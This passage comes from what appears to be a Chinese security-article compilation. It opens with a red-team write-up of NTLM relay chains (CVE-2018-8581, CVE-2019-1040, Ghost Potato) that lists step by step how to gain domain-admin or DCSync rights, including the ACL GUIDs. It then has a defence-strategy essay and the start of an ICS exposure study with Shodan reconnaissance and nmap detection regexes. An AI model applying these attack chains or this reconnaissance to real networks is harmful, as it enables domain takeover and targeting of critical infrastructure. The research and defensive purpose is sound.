HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LsaDisableLoopbackCheck = 1

也就是说我们可以将请求 Relay回机器本身。我们拿到的是机器用户的 Net-Ntlm Hash。并不能

直接用以登录。但是 Exchange机器用户可以获得 TokenSerializationRight的 ‘‘特权’’会话，可以

Relay到机子本身的 Ews接口，然后可以使用 SOAP请求头来冒充任何用户。

这个也是网上流传得比较广的一份exp的利用思路

(2)思路 2获取域管权限

在上面文章的 Relay2Ldap里面，我们简单得提了一下这个思路。这里我们详细说下。

我们来做个测试

用户 daiker对域没有 acl

这个时候进行 Dcsync
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权限不足,这个时候我们添加两条 ACL

’DS-Replication-Get-Changes’ = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2

’DS-Replication-Get-Changes-All’ = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2

验证一下

这个时候我们进行 dcsync
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成功，也就是说如果我们只要能够在域内添加两台 ACL，这两条 ACL的受托人就具备 Dcsync的

权限。

那什么样子的用户才能具备添加 ACL的权限呢。我们通过 adfind查下 (下一个系列 LDAP篇将紧

紧围绕 adfind和 admod展开)。

我们发现 Exchange Windows Permissions,Exchange Trusted Subsystem都具备Write-ACL的

权限。

其实 Exchange Trusted Subsystem是 Exchange Windows Permissions组内成员

Exchange Trusted Subsystem的成员包括 Exchange机器用户

前面啰嗦了一大堆，现在来总结下获取域管权限的思路。

由于 Exchange机器在 Exchange Trusted Subsystem组里面，Exchange Trusted Subsystem对

域有Write-ACL权限，Exchange机器用户自然而然具备Write-ACL权限，我们在拿到 Exchange机器

的 http请求的时候，可以将请求 Relay到 Ldap,然后由于 Exchange机器用户具备Write-ACL权限，我

们在域内给添加两条 acl，acl的受托人可以是任意用户，

’DS-Replication-Get-Changes’ = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2

’DS-Replication-Get-Changes-All’ = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
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从而使该用户具备 Dcsync的权限。然后 dump域管的 hash进行 pth，dump kebtgt的 hash进行黄金

票据，等等。

3. 服务端是否要求签名

我们 Relay到的服务端是 Ldap,前面咱们说过 Ldap服务器的默认策略是协商签名。而不是强制

签名。也就是说是否签名是有客户端决定的。服务端跟客户端协商是否签名。在这个漏洞里面

发起的请求是 http协议，http协议是不要求进行签名，这也就意味着我们什么都不用做，在这个

漏洞中并不要求签名。

最后梳理一下 8581第二种思路 (获取域管权限)的打法:

这里面

攻击者:172.16.228.1

Exchange:172.16.228.133

域控:172.16.228.135

1. 使用 impacket监听端口进行等待连接

2. 发起推送订阅指定所需的 URL，Exchange. 服务器将尝试向这个 URL发送通知

3. Relay到域控的 Ldap服务器并给普通用户 daiker添加两条 acl
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4. daiker进行 Dcync

19.3.5 5. CVE-2019-1040

该洞最早在于攻击者可以利用该漏洞可绕过 NTLM MIC的防护机制。很经典的一次 NTLM_RELAY。

相信如果从 windows内网协议学习从第一篇文章追踪过来的，对每个利用环节都无比熟悉。本篇文章

要做的内容就是把这些漏洞利用点给串起来。跟 CVE-2018-8581一样，我们主要关注一下三个方面，

将思路串起来。

1. 怎么发起 ntlm请求
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这里利用到打印机漏洞，在Windows内网协议学习 NTLM篇之发起 NTLM请求,我们有简单提到

这个问题，这个也不算漏洞，微软官方认为是正常业务，也不给出补丁。微软的 spoolsv.exe注册了

一个服务和若干个 rpc。允许认证用户远程调用，其中 RemoteFindFirstPrinterChangeNotificationEx

这个函数运行传进一个 unc路径，打印机服务就会去请求该 unc路径。由于打印机是以 system

权限运行的，所以我们访问打印机 rpc，迫使打印机服务向我们发起请求拿到的 net-ntlm hash是

机器用户 hash。这个地方有两个利用点。一个是攻击 Exchange机器，迫使 Exchange机器用户向

我们发起请求，另外一个就是攻击域管机器，迫使域管机器用户向我们发起请求。

2. 拿到 ntlm请求之后要做什么

考虑到都是机器用户发起的请求，机器用户并不能直接登录。因此不考虑 Relay到 smb。我们

考虑 Relay到 Ldap。当是 Exchange机器用户发起的请求时，我们可以跟 CVE-2018-8581，由

于 Exchange机器用户在 Exchange Trusted Subsystem组，Exchange Trusted Subsystem有

write-acl权限，可以给任意用户添加 Dcsync权限，这里不再赘述。

我们考虑另外一种情况，当发起者是域管用户的时候，这个时候别看是域管机器，但是权限真

的并不高。首先，他并不在域管组里面。其次，他能控制的 acl也并不多。在Windows内网协议

学习 NTLM篇之 Net-NTLM利用里面我们介绍了三种通用的漏洞利用思路，前两种在这种情况

下，在这里并不适用，在 server2012r2，我们可以通过设置基于资源的约束委派。在域管机器属

性马上到！S-AllowedToActOnBehalfOfOtherIdentity里面添加一条 ace,可以让任何机器用户和服

务用户可以控制该用户 (NTLM发起者)，虽然不能直接登录，但是因为该机器是域管机器，我们

可以进行 dcync。

3. 服务端是否要求签名

我们 Relay到的服务端是 Ldap,前面咱们说过 Ldap服务器的默认策略是协商签名。而不是强制签

名。也就是说是否签名是有客户端决定的。服务端跟客户端协商是否签名。不像 CVE-2018-8581，

发起的协议是 HTTP协议，通过打印机漏洞，发起的请求是 Smb协议的请求，这也意味着我们客

户端默认是要求签名的。这也是这个漏洞的核心所在。前面的思路，在Wagging the Dog: Abusing

Resource-Based Constrained Delegation to Attack Active Directory里面就已经提到了，作者在文章

里面提及。

这个标识用于协商服务端是否进行签名，因为发起者是 smb 协议，默认这个标志位 (即

NTLMSSP_NEGOTIATE_ALWAYS_SIGN和 NTLMSSP_NEGOTIATE_SIGN)为 1，服务端会选择进行

签名，但是当我们修改数据包将 Flag位置为 0的话，微软又设计了一套 MIC校验。就是下图这个。

它使用带有会话密钥的 HMAC-MD5保护所有三个 NTLM消息的完整性。如果更改了 NTLM消息的

Flag位，则MIC将无效并且身份验证将失败。
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有另外一个地方指示是否存在 MIC(标志 0x2 表示该消息包括 MIC)。如下图所示，我们称为

msvAvFlag

但是 msvAvFlag在 targetInfo里面。

由于在计算 Reponse的时候，该 targetInfo参与 Reponse的计算。(关于 Response计算的更多细节可

以此参考Windows内网协议学习 NTLM篇之 NTLM基础介绍)
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改变了 msvAvFlag值，targetInfo的值随之发生那改变，生成的 Reponse在检验的时候肯定会出错，

NetNTLM响应将无效并且身份验证将失败。这个时候原文的作者也没有办法了。
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但是前面已经说过了，该洞最早在于攻击者可以利用该漏洞可绕过 NTLM MIC的防护机制。因此

这个漏洞最核心的地方在于绕过了MIC的校验。

最新的绕过将 NEGOTIATE_KEY_EXCHANGE和 NEGOTIATE_VERSION位置为 0，就不再检验

MIC了。不像 msvAvFlag那样参与 Reponse的运算，因此置为 0之后不仅不会校验 mic，也不会使得

Reponse校验出错。

所以这一步，需要将 4个 Flag位 (TLMSSP_NEGOTIATE_ALWAYS_SIGN，NTLMSSP_NEGOTIATE_SIGN，

NEGOTIATE_KEY_EXCHANGE，NEGOTIATE_VERSION)置 0。

最后梳理一下 1040的打法:

这里面

攻击者:172.16.99.2

域控 2012:172.16.99.12

域控 2016:172.16.99.16

1. 使用 impacket监听 445进行等待域控进行连接

2. 使用打印机漏洞让域控连接我们的 445(注意攻击的域控跟回连的 LDAP所在的服务器不要在同

一台域控)
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3. Relay到域控 dc2016的 Ldap服务器并添加基于资源的约束委派

4. 发起 win7$到 dc2012的 s4u，通过-impersonate参数模拟用户 administrator的票证
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5. 使用 administrator用户的票据登录域控。

19.3.6 6. CVE-2019-1384

Ghost potato

这个漏洞绕过了 MS08-068之后，用户不能 relay回本机的限制。先来回顾下 MS08-068是怎么防

止 Relay的。

主机 A向主机 B(访问\B)进行 SMB认证的时候，将 _pszTargetName_设置为 cifs/B,然

后在 type 2拿到主机 B发送 Challenge之后，在 lsass里面缓存 (Challenge,cifs/B)。

然后主机 B在拿到主机 A的 type 3之后，会去 lsass里面有没有缓存 (Challenge,cifs/b)，

如果存在缓存，那么认证失败。

这种情况底下，如果主机 B 和主机 A 是不同的主机的话，那 lsass 里面就不会缓存

(Challenge,cifs/B)。如果是同一台主机的话，那 lsass里面肯定有缓存，这个时候就会认证

失败。
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然而这个缓存 (Challenge,cifs/B)是有时效性的，这个时间是 300秒，也就是说 300秒后，缓存

(Challenge,cifs/B)就会被清空，这个时候即使主机 A和主机 B是同一台主机，那么由于缓存已经被

清除，那么去 lsass里面肯定找不到缓存 (Challenge,cifs/B)。

漏洞利用图如下所示。

shenaniganslabs也放出漏洞利用poc。基于 impacket进行修改。只实现的收到 http协议的情况。其

他协议大家可以自己实现。主要核心代码如下所示。会在 sleep 315秒之后再发送 type3。
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poc的运行如下。

受害者机子的 ip是 172.16.228.134,攻击者 IP是 172.16.228.1
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1. 在 172.16.228.1开启端口等待 172.16.228.134的 ntlm请求 (作者的 poc只支持 http)

2. 172.16.228.134向 172.16.228.1发起 http请求 (为什么不用 ip，请看前面的文章)

3. 172.16.228.1将来自 172.16.228.134 的请求 Relay 回 172.16.228.134本身的 smb，exp的实

现效果是在 172.16.228.134启动目录上传个文件
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19.4 0x03引用

Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory

Ghost Potato

19.4.1 关于灵腾实验室（360RedTeam）团队

灵腾实验室隶属于 360公司信息安全中心，我们深谙 ‘‘未知攻，焉知防’’，团队成员专注于各类漏洞

利用研究，在红蓝对抗、区块链安全、代码审计拥有多年经验。

19.4.2 关于作者

灵腾实验室成员，专注于红队攻防技术研究，对 windows ad有深入研究，从协议到底层有不一样的见

解。
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以攻擊者的角度制定防禦策略

作者：Aaron

来源：https://devco.re/blog/2019/10/09/def-strategy/

20.1 前言

这篇文章源自于公司今年第一次试办的研讨会 DEVCORE Conference 2019，我们决定另外写成 blog分

享出来，让无法参加的朋友也可以从不同角度重新思考防御策略。

会想在纯技术导向的研讨会中加入策略面的议题，其实跟今年研讨会的主轴「从策略拟定控制，从

控制反映意识」有关。如果企业缺乏长远正确的资安策略，除了投入的资源无法达到企业预期的效益、

一线资安人员疲于奔命外，管理阶层在资讯不对称的情况下认为投入的资源已经足够安全，最终形成

恶性循环，只能在每次资安事故后跟著时下流行选择最夯资安的产品。

20.2 理想中的防御策略

而最广为人知的防御策略可能是纵深防御，以不同类型的控制措施 (设备、制度、服务)减少敌人入侵

的可能性、儘量减少单一控制措施失效造成的风险。然而，这个概念有几个需要思考的重点

防护边界远大于企业的想像：导致无法掌握企业可能的入侵点。

对资安设备认知错误：这让敌人可以绕过资安设备，或是设备没有发挥企业预期的效用。

管理程序不够落实：导致控制措施产生新的漏洞，譬如预设密码没有更改，导致 VPN或网路设

备可以直接被存取。

忽视重要资产相关性：只将防御资源投注在重要资产本身，而轻忽与其相连的资产。

这一连串的疏忽，可能成为攻击者入侵的路径，就是所谓的瑞士起司模型（Swiss Cheese Model)，

因此企业期望透过风险评鑑 (Risk Assessment)来盘点出可能的疏失，并且在权衡资源下，确保将重心

放在高风险需要优先处理的项目。

但我们想聊聊这个工具在实务上有它难以完善之处，以及从攻击者的角度是怎样看待这个拟订防

御策略核心工具，我们会针对一下议题依序说明

真实风险其实複杂的难以评估

现行风险评鑑方式可能的偏差

从攻击者的角度改善风险评鑑

挑选适合的方法改善风险评鑑

20.3 真实的风险其实複杂的难以评鑑

在这裡我们引述 ITGovernance对于风险评鑑的定义：
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Risk Assessment – the process of identifying, analyzing and evaluating risk – is the only way to

ensure that the cyber security controls you choose are appropriate to the risks your organization

faces.

风险评鑑的精髓在于后半段的确保所选择的控制措施是否适切于企业真正面临的风险，但多数的

企业只完成前半段识别、分析及评估风险，导致风险评鑑的成效无法完全发挥；而要达到风险评鑑的

精髓，得先了解真实的风险的组成的要素

真实风险 = { 威胁来源、意图、威胁、弱点、机率、相依性、资产价值、控制措施 }

威胁来源 (Threat Agent)：造成威胁或使用弱点的来源个体，例如：组织型犯罪、骇客组织、国家

资助犯罪、竞争对手、骇客、内部员工或天灾等。

意图 (Intent)：威胁来源的想达到的目的，例如：取得个人资料、盗取商业机密、破坏企业/个人形

象、造成财物损失等。

威胁 (Threat)：达成意图的方式，例如：恶意程式、社交工程、DDoS、利用系统漏洞等。

弱点 (Vulnerability)：指资产能被威胁利用的弱点，例如：漏洞未更新、人员疏忽、组态设定不当、

网路区隔配置错误等。

机率 (Probability)：指弱点的易用度或可能发生的机率，例如：CVSS 3.0分数、过去对于某个弱

点发生频率的统计等。

相依性 (Correlation)：资产彼此间的关联，例如：网路拓朴、虚拟化的关係、集中派版系统、防毒

中控主机等。

资产价值 (Value)：企业认定该资产在 C、I、A及法律衝击下，所具有的价值，例如：核心系统及

资料、一般操作资料、实体设备等。

控制措施 (Countermeasure)：用来降低企业面临风险的措施，例如：资安设备、管理制度、教育训

练等。

然而，多数企业在评估企业风险时，为求方便，会将风险评鑑的参数简化成 {弱点、机率、资产价

值}，忽略了与敌人相关的参数 {威胁来源、意图、威胁、战略价值}；接下来的两个例子将说明忽略

后造成风险评鑑的偏差，包含了资产价值的轻忽及轻忽漏洞利用的可能性。

20.4 现实风险评鑑可能的偏差

20.4.1 敌人在意的是战略价值而不仅是资产价值

透过风险评鑑可以识别出资产可能面临的风险，并且作为预算或资源投入优先顺序的参考，一般可以

分为 3个优先等级：

1. 优先处理「高衝击、高机率」(项次 1、项次 2)的风险：通常是超出企业可接受风险的威胁，藉

由控制措施将风险下降到可接受的程度，这部分通常是企业资源优先或持续投入的重点。

2. 次之是「高衝击、低机率」(项次 3、项次 4)的风险：此等级是属于需要持续关注避免升高的风

险，如果企业预算仍有馀裕，应该投入的第二个等级。
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3. 最后是「低衝击、低机率」(项次 5、项次 6)的风险：看起来对企业不会有立即危害，一般不需

特别关注或投入资源。

项次 资产名称 价值 威胁 弱点 衝击 机率 风险

1 交易资料 3 蓄意破坏 建筑物管制不足 3 3 27

2 用户个资 3 勒赎软体加密 无法上 patch 3 3 27

3 转帐系统 3 软体失效 遭到 DDoS攻击 3 2 18

4 核心系统 3 软体失效 维护服务时间过长 3 1 9

5 版本更新系统 3 未经授权存取 横向移动 2 1 6

6 内部差勤系统 1 系统入侵 无法上 patch 1 2 2

然而，对敌人而言，选择欲攻下的滩头堡时，看重的是资产的战略价值，而与资产本身的价值没有

必然的关係，如上表项次 6的内部差勤系统如果是能串接到敌人主要的标的，对他来说就是一个必定

会设法取得控制权的资产，而这时可以发现经由简化版的风险评鑑并不容易呈现这个资产所面临的风

险。

20.4.2 低估弱点可利用机率

防守方在使用分险评鑑时，另一个问题是无法准确的估计弱点的可利用机率，虽然市面上已经有许多

弱点管理软体可以协助，但面对真实攻击时，敌人不会只利用已知的漏洞或是 OWASP TOP10，甚至

自行研发 0-day。因此，当企业已经进行一定程度的防护措施后，如果不曾经历资安事故或缺乏正确

的认知，往往认为应该不会有这麽厉害的骇客可以突破既有的防护措施，但从历来的资安事故及我们

服务的经验告诉我们，其实电影裡面演的都是真的！！

20.5 从攻击者的角度改善风险评鑑

很多人以为攻击者的角度指的是漏洞挖掘，其实并不全然。攻击者对于想窃取的资产，也是经过缜密

的规划及反～覆～观～察～，他们一样有策略、技法跟工具。而MITRE ATT&CK就是一个对于已知

攻击策略及技巧具备完整定义及收集的框架，它可以用来协助建立威胁情资 (Threat Intelligence)、改

善防守方的侦测及分析、强化模拟敌人及红队演练等，相关的使用方式都在其官网上可以找到，细节

我们不在这边介绍。
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我们可以将已经发生的资安事故 (Incident)或红队演练对应到 ATT&CK Enterprise Framework中，

并且评估目前所建置的控制措施是否可以减缓、阻挡或侦测这些技巧。以下图为例，浅绿色方块是红

队演练所採用的技巧、红色方块则是资安事故使用的技巧，企业可以同时比对多个资安事故或是红队

演练的结果，找出交集的浅黄色区块，即是企业可以优先强化的控制措施或是预算应该投入之处。
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这边有个需要特别注意的地方，ATT&CK Enterprise Framework作为一个验证防守方控制措施的有

效性是一个非常好的框架，然而不建议利用这个框架的特定技巧作为限制红队演练的情境，要记得

「当使用 ATT&CK时要注意有其偏差，这可能会将已知的攻击行为优先于未知的攻击行为」，正如同红

队演练的精神，是透过无所不用其极的方式找到可以成功的入侵方式，因此我们会建议给予红队演练

团队最自由的发挥空间，才能真正找出企业可能的盲点。

Remember any ATT&CK-mapped data has biases:You’re prioritizing known adversary behavior

over the unknown. － Katie Nickels, Threat Intelligence Lead @ The MITRE Corporation

20.6 挑选适合的方法改善防御策略

那麽在我们了解敌人会使用的策略、技巧之后，企业要如何挑选改善防御策略的方法？理想上，我们

建议如果预算许可，这类型的企业至少应该执行一次高强度的红队演练，来全面性的盘点企业面临的

威胁，但现实上并非每个企业都有足够的预算。因此，在不同的条件下，可以使用不同的方法来改善

防御策略，我们建议可以从以下几个因素进行评估：

时间：执行这个方法所需要的时间。

成本：利用这个方法需要付出的成本 (包含金钱、名声)。

真实性：所採用的方法是否能真实反映现实的威胁。

范围：所採用的方法能涵盖范围是否足以代表企业整体状况。
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这边我们以风险评鑑、弱点扫描、渗透测试、模拟攻击、红队演练及资安事件作为改善防御策略

的方法，而分别就上述六个项目给予相对的分数，并且依照真实性、范围、成本及时间作为排序的优

先序 (顺序依企业的状况有所不同）。而我们会这样排序的原因是：一个好的方法应该要与真实世界的

攻击相仿而且在整个过程上足以发现企业整体资安的状况，最后才是考虑所花费的成本及时间。

方法 真实性 范围 成本 时间

资安事件 5 4 5 5

红队演练 5 4 4 5

模拟攻击 3 5 2 3

渗透测试 3 3 3 3

弱点扫描 2 5 1 2

风险评鑑 1 4 1 1

到这裡，除了资安事件外，大致可以决定要用来协助评估防御策略所应该选择的方法。更重要的

是在使用这些方法后，要将结果反馈回风险评鑑中，因为相较于其他方法风险评鑑是一个最简单且广

泛的方法，这有助于企业持续将资源投注在重大的风险上。

20.7 案例

最后，我们以一个红队演练案例中所发现控制措施的疏漏，来改善企业的风险评鑑方式。同时，我们

将入侵的成果对应至 ISO27001:2013的本文要求及控制项目，这些项目可以视为以攻击者的角度稽核

企业的管理制度，更能反映制度的落实情形。

项目 发现 本文/附录

1 核心系统盘点未完整 本文 4.3决定 ISMS范围

2 监控范围不足 本文 4.2关注方之需要与期望

3 不同系统使用相同帐号密码 附录 A.9.4.3通行码管理系统

4 管理帐号存在密码规则 附录 A.9.4.3通行码管理系统

5 AD重大漏洞未修补 附录 A.12.6.1技术脆弱性管理

6 未限制来源 IP 附录 A.9.4.1系统存取限制

7 次要网站防护不足 附录 A.14.1.1资讯安全要求事项分析及规格

8 VPN网段存取内部系统 附录 A.13.1.3网路区隔
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另外，从演练的结果可以发现下表项次 1及项次 2的机率都被证实会发生且位于入侵核心资产的

路径上，因此衝击及机率均应该由原本的 2提升为 3，这导致项次 1的风险值超过了企业原本设定的

可接受风险 (27)；另外，儘管在演练结果中清楚的知道项次 2的内部差勤系统是必然可以成功入侵且

间接控制核心资产的系统，其风险值仍远低于企业会进行处理的风险，这正是我们前面所提到低估战

略价值的问题，因此我们会建议，在红队演练路径上可以获得核心资产的风险项目，都应该视为不可

接受风险来进行处理。

项次 资产名称 价值 威胁 弱点 衝击 机率 风险

1 版本更新系统 3 未经授权存取 横向移动 3 3 27

2 内部差勤系统 1 系统入侵 无法上 patch 3 3 9

最后，引用 Shaolin在研讨会上的结语

红队演练的精髓不是在告诉你有多脆弱，在于真正坏人闯入时你可以独当一面挡下。

希望各位都能找到可以持续改善防御策略的方法，让企业的环境更加安全。
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译者：代码卫士

来源：https://mp.weixin.qq.com/s/kRbzl5pSEJqsTYnjdE3kUw

本报告研究的是工业控制系统 (ICS)。作者Wojciech说明了如何通过开源情报对关键基础设施实

施侦察。很多时候，可以从具体的建筑物如发电厂、废水池或化学和制造设施入手开展研究。本研究

由美国被暴露的 2.6万台设备组成。奇安信代码卫士团队现将报告翻译如下，供各位参考:

21.1 开源情报 (OSINT)

开源情报 (OSINT)是个较为宽泛的领域，很多人都在不知不觉的情况下使用它。你所阅读的或观看

的影响你的看法，而基于所收集的信息你坚持己见并作出自己的决策和判断。这些信息的来源可能

是传统的大众媒体如电视、收音机或报纸或互联网及其所含信息如网站、社交媒体或博客。另外，

OSINT用于开展多项调查如地理定位照片或追踪特定个体的行踪。它还夹杂着其它情报技术如人工智

能 (HUMINT)、地理空间智能 (GEOINT)或网络智能 (CYBINT)。根据照片或威胁行动者遗留的微小

线索，人们就能够收集很多信息，将它们拼凑成完整的图像，进而得出最终结论。另外，OSINT有助

于网络犯罪防范组织追踪犯罪分子的行踪，有利于情报机构获取关于对手的能力信息，在真实世界和

网络世界中均是如此。了解了乌克兰、伊朗和沙特阿拉伯发生的事件后，我们应该意识到国家关键基

础设施可能遭受的损害。如遇冲突，直接暴露在互联网上的设备可能被黑并以多种方式引发损害。美

国中情局 (CIA)强调的五大主要 OSINT领域包括：

互联网—---在本研究中我使用了很多Web信息。我获取了直接联网并暴露于互联网的工控设备。

传统的大众媒体

照片—---多数源自社交媒体服务以及其它来源如谷歌街景，本研究也使用了谷歌街景。

会议—---人们分享简介和信息的地方，它也同时包含专业记者和智库的研究成果。

地理空间信息—---包含地图和商业图像产品，包括检查地理位置并追踪可能和设备之间存在关联

的最近建筑物。

而我在本研究中使用 OSINT来可视化并收集美国所暴露的约 2.6万台 ICS设备的地理位置信息和

技术信息。

21.2 关键基础设施

我们很难界定哪些是关键基础设施哪些不是。通常而言，构成社会和国民经济主要部分的且它们的破

坏或功能丧失会影响国家安全、医疗、能源或水利行业的行业和资产都属于关键基础设施。因此，负

责运营美国国土安全局 (DHS)所罗列的 16个行业的每个建筑物和财产必须以关键基础设施对待而且

应该实现适当的安全控制和机制。
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为了更好地理解这一概念，举个例子：商场附近的停车场可以使用工控设备但它并非关键基础设

施；与之相反，任何发电厂（如被黑或遭攻陷可能导致个人和企业无法使用能源）就被视作关键基础

设施。DHS提到的 16个关键基础设施行业包括：

化学制品—---包括化学设施、制药或特殊/农业化学制品；

商业设施—---聚集大规模人群的场所如体育场、购物中心、赌场、游乐园、动物园或酒店；

通信—---它提供其它关键基础设施的连接，并包括无线、地面和卫星传输；

运输—---它负责以各种方式将大量的人或货物运输到不同的地方。例如铁路或机场；

制造业—---涉及不同行业的制造业：初级金属、机械、电气设备和运输设备。制造业的作用是确

保经济繁荣和国家的连续性；

大坝—---防止洪水泛滥，并提供蓄水和控制服务；

国防工业基地—---每个负责生产、设计或交付军事武器的设施都被视为关键基础设施。此外，提

供研发的行业，如政府承包商也在这一领域。它是国防上最重要的部门之一，因为没有它，就不可能

动员、部署和维持军事行动；

应急—---该行业构成社会生活的核心，包括执法和消防部门、公共工程和医疗急救服务。它还提

供其它服务如特警队、搜救队、融合中心、犬科和 911呼叫中心；

能源—---为城市和企业提供电力。没有稳定的能源供应，其它的关键基础设施也可能处于危险之

中。它也是所有人日常活动的必需品；

金融—---保险公司、存托机构和融资组织；

粮食和农业—---高度依赖于能源、化学、废物和运输领域，包括农场、饭店和食品制造业；

政府设施—---国家所有或出租的建筑物。该行业最关键的设施是军事设施、国家实验室、法院或

使馆。此外，它还包括网络元素，例如访问控制系统和闭路电视系统。它还设有一个教育设施分部门，

涵盖学校和高等教育机构。负责保护存储设施和投票站等资产的选举基础设施也是政府设施行业的一

个子部分。

医疗保健和公共卫生—---保护其它行业免受自然/人为灾难或传染病的侵害；

信息技术—---主要侧重于提供硬件、软件和信息技术，并与通信部门一起提供互联网；

核反应堆、材料和废物—---包括动力堆、研究和测试反应堆或核燃料循环设施；

水和废水系统—---确保饮用水和废水处理的供应。
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21.3 开源情报和关键基础设施

了解了开源情报的基础和关键基础设施行业之后，我们可以结合二者获取某个国家的关键资产情报。

它对于理解对手网络的潜力和弱点发挥着重要作用，也是发动所有网络攻击的首要步骤。关键基础设

施的开源情报多数供情报服务用于在战争时期从事间谍活动以及实施潜在的破坏活动，或者只是用

于展示自身的网络实力。犯罪组织也对攻陷某个国家的关键行业感兴趣，但多数是为了获取金钱收

益—---他们使用开源情报实施侦察，目的是开发并出售 ICS恶意软件或交易被盗凭证。可能攻击关键

ICS设备并使用开源情报的群体是恐怖分子，他们的目的是削弱国家经济、挫败公众士气并威胁国家

安全。我将内部人员也算在这一群体内，因为他们具备已部署基础设施的大量知识，他们可能不具备

所有一切关键基础设施的访问权限，但了解用于关键基础设施例如发电厂的网络和技术。我们可以从

开源数据收集很多某些关键基础设施建筑物的信息，比如某个建筑物或城市的准确的地理位置信息

等。这样我们就能从物理监控、社交媒体照片、谷歌地图或街景中收集更多的信息。查找关键基础设

施某个元素的漏洞或入口点，我们不应该忘记其中的工作人员。适当的侦查允许雇佣内部人员、安插

自己的卧底，不过鱼叉式钓鱼活动也起着重要作用。值得注意的是，开源情报是在目标不知道自己正

在被调查的情况下被动地收集数据。如果你具备设备的如下技术详情，那么主动侦查的大门已经敞开：

IP地址/主机名—---用于扫描附近的资产或不常用端口；

技术—---借此找到或研究某个特定系统的漏洞。例如，如果知道目标多数时间使用 Niagara Fox，

那么我们就不需要花费太多时间查找 Codesys产品的新利用；

端口—---设备的其它开放端口可能为攻击者提供了一个入口点。过时和易受攻击的 Apache服务

器可用于深入网络；

设备响应—---它提供了所运行设备的很多有用且详细的信息。它还极大地有利于建立运营设备所

在建筑物的真实地址。在安装过程中，技术人员通常会说明街道的名称、建筑物、确切的地址位置、

电话号码或其它敏感信息

BACnet设备的示例字段：

Vendor ID

Vendor Number

Object Identifier

Firmware Revision

Application Software Revision

Object Name

Model Name

Description

Location

Broadcast Distribution Table (BDT)

Foreign Device Table (FDT)
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Niagara Fox的字段示例：

Fox Version

Hostname

Host Address

Application Name

Application Version

Station Name

VM Name

VM Version

OS Name

Time Zone

Host ID

VM UUID

Brand I

Niagara Fox设备的真实响应示例：

fox a 0 -1 foxhello\n{\nfox.version=s:1.0.1\nid=i:255149\nhostName=s:192.168.1.11\nhostAddress=s:192.168.1.11\napp.name=s:Station\napp.version=s:3.8.311\nvm.name=s:JavaHotSpot(TM) Embedded ClientVM\nvm.version=s:25.141-b06\nos.name=s:QNX\nos.version=s:6.5.0\nstation.name=s:Guadelupe_Jail\nlang=s:en\ntimeZone=s:America/Chicago;-21600000;3600000;02:00:00.000,wall,march,8,onor after,sunday,undefined;02:00:00.000,wall,november,1,on orafter,sunday,undefined\nhostId=s:Qnx-JVLN-0000–05A1–7B93\nvmUuid=s:11e98b97-b656–1c50–0000–00000000bafd\nbrandId=s:vykon\nsysInfo=o:bog61[<bog version=”1.0>\n<p m=”b=baja” t=”b:Facets” v=””/>\n</bog>\n]\nauthAgentTypeSpecs=s:fox:FoxUsernamePasswordAuthAgent\n};;\nfoxa 1 -1 fox rejected\n{\n};;\n
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21.4 收集数据

如上所述，本研究仅基于以被动方式收集的数据。我是用了两种服务，分别是 Shodan和 BinaryEdge，

它们都允许用户查找互联网上的联网设备，其中包括 ICS 设备。另外它们提供过滤功能，从而可

以发现自己感兴趣的内容或者将搜索的范围缩小到某个具体的国家、产品或版本。和 Shodan不同，

BinaryEdge提供现成可用的查询，以便我们过滤所有可能的 ICS设备，但它不支持地理位置信息。为

了使用这一解决方案，我们需要拥有他们自己的 IP地址位置信息数据库并借此收集 IP地址。虽然免

费的数据库并不十分准确但最好的是Maxmind。而 Shodan直接从 API提供设备的地理位置数据且无

需进行更多检查。然而，要使用标记并列出所有的 ICS设备（如 BinaryEdge那样），我们需要具有 ‘‘企

业级’’访问权限，但这种权限花费较高。所搜索的设备和我之前的研究工作是一致的：

Modbus

Siemens S7

Tridium

General Electric

BACnet

HART IP

Omron

Mitsubishi Electric

DNP3

EtherNet/IP

PCWorx

Red Lion

Codesys

IEC 60870–5–104

ProConO

为了主动地查找美国暴露的设备，我们需要扫描 1,573,564,566个 IP地址，并进行分类、进行地理

定位并将它们展现到地图上。我们不可能知道工控设备的默认端口及其返回的响应。为此，最好是

使用 masscan或类似工具，通过正则表达式匹配响应。可从此处找到 nmap正则表达式的完整列表：

https://svn.nmap.org/nmap/nmap-service-probes。检测 Niagara Fox设备的正则表达式如下：

matchniagara-fox m|^fox a 0 -1 foxhello\n\{\nfox\.version=s:([\d.]+)\nid=i:\d+.*\napp\.name=s:Station\napp\.version=s:([\d.]+)\n|sp/Tridium Niagara/ v/$2/ i/fox version $1/ cpe:/a:tridium:niagara:$2/

检测 Allen-Bradley管理服务器的正则表达式如下：

matchhttp m|^HTTP/1\.0 200 OK \r\nServer: A-B WWW/([\d.]+)\r\n.*<imgsrc=\”/images/rockcolor\.gif|s p/Allen-Bradley WWW httpd/ v/$1/ i/RockwellAutomation Ethernet Processor http config/

另外，为了获取更多详情，我们需要使用 Nmap Scripting Engine (NSE)脚本。他们会发送正确的

payload以便我们获取设备的规格。主动扫描并不是隐形的，而且需要比被动收集付出更多的努力，但

我认为结果应该是非常类似的。
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开源工具 KamerkaKamerka的第一个版本可以简单地可视化给定位置摄像头。基于此，它会展示某

个企业网络块中虽然并不存在的资产但却在企业附近或内部运营的资产因此属于该企业的资产。它也

可被用于通过入侵摄像头或找到无需认证的摄像头的方式实施间谍活动。我创建这个开源工具的目的

是突出强调具有较高军事或商业价值的建筑物附近的互联网摄像头所存在的问题。当然，物联网世界

中并不止摄像头。因此 Kamerka的第二个版本还涵盖了打印机、信息查询遥测协议 (MQTT)和实施流

协议 (RTSP)。所有这些如保护不当，则可遭滥用。另外，很多协议如MQTT通常被关键基础设施用作

智能传感器，处理某设施的机密测量数据。在纽约某发电厂中运行的工业物联网设备如下：

Kamerka的最后一个版本可供用户扫描某个国家的工控设备并将包括具体详情的结果展示在地图

上，其中包括某个特定 IP地址的所有人信息。上次研究展示的是波兰和瑞士，而这次我要展示的是美

国暴露的 2.6万台设备。我必须把脚本缩小以便展示比平时更多的数据并将其放在 Elasticsearch中以

便更好地管理。由于展示的是所有的设备，因此地图看上去有一些模糊，不过可以根据具体的查询，

针对所拥有的信息创建其它地图。
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(被暴露的 1.5万台设备地图）端口 5900 (Virtual Network Computing)开放的设备：

Red Lion Controls端口 789开放的设备：

21.5 数据统计

在我们进行地理定位和识别之前，我将展现一些统计数据。受影响最大的组织机构是：
